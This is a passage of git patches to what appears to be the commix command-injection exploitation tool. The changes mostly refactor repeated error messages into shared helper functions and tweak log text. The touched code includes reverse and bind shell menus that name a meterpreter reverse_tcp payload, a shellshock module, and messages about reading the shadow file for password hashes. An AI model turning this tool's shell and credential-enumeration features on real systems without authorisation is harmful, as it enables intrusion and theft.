- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enable_fb)
pass
"""
@@ -617,8 +611,7 @@ def continue_tests(err):
elif continue_tests in settings.CHOICE_QUIT:
return False
else:
- err_msg = "'" + continue_tests + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(continue_tests)
pass
except KeyboardInterrupt:
raise
@@ -687,8 +680,7 @@ def ps_check():
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
- err_msg = "'" + ps_check + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(ps_check)
pass
"""
@@ -705,8 +697,7 @@ def ps_check_failed():
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
- err_msg = "'" + ps_check + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(ps_check)
pass
"""
@@ -752,8 +743,7 @@ def check_CGI_scripts(url):
print(settings.SINGLE_WHITESPACE)
os._exit(0)
else:
- err_msg = "'" + shellshock_check + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(shellshock_check)
pass
if not _:
@@ -821,8 +811,7 @@ def identified_os():
elif proceed_option.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
"""
@@ -900,8 +889,7 @@ def identified_http_auth_type(auth_type):
elif proceed_option.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
"""
@@ -1350,8 +1338,7 @@ def recognise_payload(payload):
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
if is_decoded:
@@ -1553,8 +1540,7 @@ def process_xml_data():
elif xml_process in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + xml_process + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(xml_process)
pass
#Check if INJECT_TAG is enclosed in quotes (in json data)
@@ -1596,8 +1582,7 @@ def process_json_data():
elif json_process in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + json_process + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(json_process)
pass
"""
@@ -2020,7 +2005,7 @@ def print_single_os_cmd(cmd, shell):
_ = "'" + cmd + "' execution output"
print(settings.print_retrieved_data(_, shell))
else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
"""
@@ -2290,8 +2275,7 @@ def file_upload():
elif enable_HTTP_server in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enable_HTTP_server)
pass
"""
@@ -2334,8 +2318,7 @@ def define_py_working_dir():
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
break
else:
- err_msg = "'" + python_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(python_dir)
pass
settings.USER_DEFINED_PYTHON_DIR = True
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index f0f54c3c9d..286ae2a89f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -226,8 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
else:
settings.CLASSIC_STATE = False
@@ -259,8 +258,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
else:
settings.EVAL_BASED_STATE = False
@@ -391,8 +389,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
@@ -829,8 +826,7 @@ def do_check(url, http_request_method, filename):
elif next_level in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + next_level + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(next_level)
pass
else:
perform_checks(url, http_request_method, filename)
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 088316b646..96e9a82fe0 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -302,8 +302,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
@@ -324,8 +323,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + file_access_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
@@ -389,7 +387,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
@@ -402,8 +400,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 8303638c86..2d52ad0c62 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -312,8 +312,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
@@ -334,8 +333,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + file_access_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
@@ -396,7 +394,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
@@ -409,8 +407,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index b5648fbc87..695f9b430d 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -383,8 +383,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.SINGLE_WHITESPACE)
raise
else:
- err_msg = "'" + tmp_upload + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(tmp_upload)
pass
continue
@@ -528,8 +527,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
@@ -552,8 +550,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.file_access_options():
@@ -612,7 +609,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
print(settings.print_critical_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
@@ -628,8 +625,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
pass
except KeyboardInterrupt:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 1a1a6fb5d7..0daac7bd5c 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -299,8 +299,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE):
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
else:
output = custom_web_root(url, OUTPUT_TEXTFILE)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 62bfeacf5f..4b8a647bce 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -247,8 +247,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
elif proceed_option.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
if settings.VERBOSITY_LEVEL == 0:
@@ -467,8 +466,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
@@ -491,8 +489,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + file_access_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
@@ -571,8 +568,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index e690061edc..87dfe705d8 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -515,6 +515,6 @@ def export_injection_results(cmd, separator, output, check_how_long):
else:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
sys.stdout.write("\r" + settings.print_error_msg(err_msg) + "\n")
# eof
\ No newline at end of file
diff --git a/src/core/main.py b/src/core/main.py
index da3e40fa67..dc16fc24ef 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -125,8 +125,7 @@ def check_custom_injection_marker(url):
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + procced_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(procced_option)
pass
"""
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index c8fc468bea..d25b7a843d 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -383,8 +383,7 @@ def shellshock_handler(url, http_request_method, filename):
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enumerate_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enumerate_again)
pass
else:
enumeration(url, cve, check_header, filename)
@@ -402,8 +401,7 @@ def shellshock_handler(url, http_request_method, filename):
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + file_access_again + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(file_access_again)
pass
else:
file_access(url, cve, check_header, filename)
@@ -463,7 +461,7 @@ def shellshock_handler(url, http_request_method, filename):
sys.stdout.write(settings.print_payload(payload))
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
- err_msg = "The execution of '" + cmd + "' command does not return any output."
+ err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
@@ -479,8 +477,7 @@ def shellshock_handler(url, http_request_method, filename):
raise SystemExit()
else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(gotshell)
continue
break
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
index 21af364768..cea825a68f 100644
--- a/src/core/requests/authentication.py
+++ b/src/core/requests/authentication.py
@@ -97,8 +97,7 @@ def define_wordlists():
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + do_update + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(do_update)
pass
try:
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index dd3168a840..e3d0f5f940 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -83,8 +83,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + redirection_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(redirection_option)
pass
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index d7eb890432..5248235de3 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -142,8 +142,7 @@ def estimate_response_time(url, timesec):
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + do_update + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(do_update)
pass
# Digest authentication
@@ -172,8 +171,7 @@ def estimate_response_time(url, timesec):
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + do_update + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(do_update)
pass
else:
checks.http_auth_err_msg()
@@ -1229,8 +1227,7 @@ def check_target_os(server_banner):
elif got_os.lower() == "q":
raise SystemExit()
else:
- err_msg = "'" + got_os + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(got_os)
pass
"""
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 68651c5372..89a58fd203 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -92,8 +92,7 @@ def set_php_working_dir():
settings.USER_DEFINED_PHP_DIR = True
break
else:
- err_msg = "'" + php_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(php_dir)
pass
"""
@@ -113,8 +112,7 @@ def set_python_working_dir():
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
- err_msg = "'" + python_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(python_dir)
pass
"""
@@ -134,8 +132,7 @@ def set_python_interpreter():
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
- err_msg = "'" + python_interpreter + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(python_interpreter)
pass
"""
@@ -207,8 +204,7 @@ def netcat_version(separator):
return shell_options(nc_version)
# Invalid command
else:
- err_msg = "The '" + nc_version + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(nc_version)
continue
while True:
@@ -223,8 +219,7 @@ def netcat_version(separator):
elif enable_bin_dir in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enable_bin_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enable_bin_dir)
pass
if nc_version != '4':
@@ -443,8 +438,7 @@ def other_bind_shells(separator):
return shell_options(other_shell)
# Invalid option
else:
- err_msg = "The '" + other_shell + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(other_shell)
continue
return other_shell
@@ -487,8 +481,7 @@ def bind_tcp_options(separator):
return shell_options(bind_tcp_option)
# Invalid option
else:
- err_msg = "The '" + bind_tcp_option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(bind_tcp_option)
continue
@@ -543,12 +536,10 @@ def configure_bind_tcp(separator):
else:
continue
else:
- err_msg = "The '" + option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(option)
pass
else:
- err_msg = "The '" + option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(option)
pass
# eof
\ No newline at end of file
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index e2555f21c1..739849d5fb 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -107,8 +107,7 @@ def set_php_working_dir():
settings.USER_DEFINED_PHP_DIR = True
break
else:
- err_msg = "'" + php_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(php_dir)
pass
"""
@@ -128,8 +127,7 @@ def set_python_working_dir():
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
- err_msg = "'" + python_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(python_dir)
pass
"""
@@ -149,8 +147,7 @@ def set_python_interpreter():
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
- err_msg = "'" + python_interpreter + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(python_interpreter)
pass
"""
@@ -243,8 +240,7 @@ def netcat_version(separator):
return shell_options(nc_version)
# Invalid option
else:
- err_msg = "The '" + nc_version + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(nc_version)
continue
while True:
@@ -259,8 +255,7 @@ def netcat_version(separator):
elif enable_bin_dir in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + enable_bin_dir + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(enable_bin_dir)
pass
if nc_version != '4':
@@ -500,8 +495,7 @@ def other_reverse_shells(separator):
elif windows_reverse_shell == '2' :
output = "powershell_attack.txt"
else:
- err_msg = "The '" + windows_reverse_shell + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(windows_reverse_shell)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
@@ -599,8 +593,7 @@ def other_reverse_shells(separator):
elif web_delivery == '3':
payload = "windows/meterpreter/reverse_tcp"
else:
- err_msg = "The '" + web_delivery + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(web_delivery)
continue
if not os.path.exists(settings.METASPLOIT_PATH):
@@ -655,8 +648,7 @@ def other_reverse_shells(separator):
return shell_options(other_shell)
# Invalid option
else:
- err_msg = "The '" + other_shell + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(other_shell)
continue
return other_shell
@@ -699,8 +691,7 @@ def reverse_tcp_options(separator):
return shell_options(reverse_tcp_option)
# Invalid option
else:
- err_msg = "The '" + reverse_tcp_option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(reverse_tcp_option)
continue
return reverse_tcp_option
@@ -758,12 +749,10 @@ def configure_reverse_tcp(separator):
elif option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
- err_msg = "The '" + option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(option)
pass
else:
- err_msg = "The '" + option + "' option, is not valid."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(option)
pass
# eof
\ No newline at end of file
diff --git a/src/utils/common.py b/src/utils/common.py
index e3417a89e3..d60b8802d8 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -27,6 +27,20 @@
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
+"""
+Invalid option msg
+"""
+def invalid_option(option):
+ err_msg = "'" + option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+
+"""
+Invalid cmd output
+"""
+def invalid_cmd_output(cmd):
+ err_msg = "The execution of '" + cmd + "' command, does not return any output."
+ return err_msg
+
"""
Reads input from terminal
"""
@@ -153,8 +167,7 @@ def create_github_issue(err_msg, exc_msg):
print(settings.SINGLE_WHITESPACE)
return
else:
- err_msg = "'" + choise + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ invalid_option(choise)
pass
except:
print("\n")
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index d657097332..c0952f3cd4 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -52,8 +52,7 @@ def set_crawling_depth():
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(message)
pass
# Change the crawling depth level.
@@ -89,7 +88,7 @@ def normalize_results(output_href):
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
+ common.invalid_option(message)
print(settings.print_error_msg(err_msg))
pass
@@ -115,9 +114,7 @@ def store_crawling(output_href):
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
- sys.stdout.write(settings.print_error_msg(err_msg))
- sys.stdout.flush()
+ common.invalid_option(message)
pass
@@ -150,8 +147,7 @@ def sitemap(url):
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(message)
pass
no_usable_links(sitemap_loc)
return sitemap_loc
@@ -221,8 +217,7 @@ def enable_crawler():
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(message)
pass
set_crawling_depth()
@@ -243,8 +238,7 @@ def check_sitemap():
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(message)
pass
"""
diff --git a/src/utils/install.py b/src/utils/install.py
index 40b1a2daea..897894e222 100644
--- a/src/utils/install.py
+++ b/src/utils/install.py
@@ -83,8 +83,7 @@ def installer():
uninstall in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + uninstall + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(uninstall)
pass
# Check for git.
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index e545b77d2d..c970cd8b33 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -304,8 +304,7 @@ def notification(url, technique, injection_type):
else:
pass
else:
- err_msg = "'" + proceed_option + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(proceed_option)
pass
if settings.SESSION_APPLIED_TECHNIQUES:
menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES)
@@ -313,8 +312,7 @@ def notification(url, technique, injection_type):
elif settings.LOAD_SESSION in settings.CHOICE_QUIT:
raise SystemExit()
else:
- err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(settings.LOAD_SESSION)
pass
except sqlite3.OperationalError as err_msg:
print(settings.print_critical_msg(err_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d281831f04..7962549441 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "80"
+REVISION = "81"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
diff --git a/src/utils/update.py b/src/utils/update.py
index 6ad463b601..65d9c3df67 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -143,8 +143,7 @@ def check_for_update():
elif do_update in settings.CHOICE_NO:
break
else:
- err_msg = "'" + do_update + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(do_update)
pass
except KeyboardInterrupt:
raise
@@ -241,8 +240,7 @@ def check_unicorn_version(current_version):
elif do_update in settings.CHOICE_NO:
break
else:
- err_msg = "'" + do_update + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
+ common.invalid_option(do_update)
pass
except KeyboardInterrupt:
From e1461c9d923d4140d057c30c6f0e066cd03895a4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 14 Jun 2022 07:34:55 +0300
Subject: [PATCH 159/560] Minor updates
---
src/core/injections/controller/checks.py | 49 ++++++++++++++----------
src/utils/settings.py | 2 +-
2 files changed, 29 insertions(+), 22 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 4319db5a8f..d01072c8a6 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1719,6 +1719,7 @@ def print_current_user_privs(shell, filename, _):
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
@@ -1729,7 +1730,7 @@ def print_os_info(target_os, target_arch, filename, _):
if target_os and target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)
print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
@@ -1770,12 +1771,12 @@ def print_users_msg(self):
info_msg = "Executing the 'net users' command "
else:
info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' "
- info_msg += "in order to enumerate users entries. "
+ info_msg += "in order to enumerate operating system users. "
print(settings.print_info_msg(info_msg))
def print_passes_msg(self):
info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' "
- info_msg += "in order to enumerate users password hashes. "
+ info_msg += "in order to enumerate operating system users password hashes. "
print(settings.print_info_msg(info_msg))
def print_single_os_cmd_msg(self, cmd):
@@ -1798,9 +1799,9 @@ def print_users(sys_users, filename, _):
sys_users_list = sys_users_list.split()
if settings.VERBOSITY_LEVEL == 0 and _:
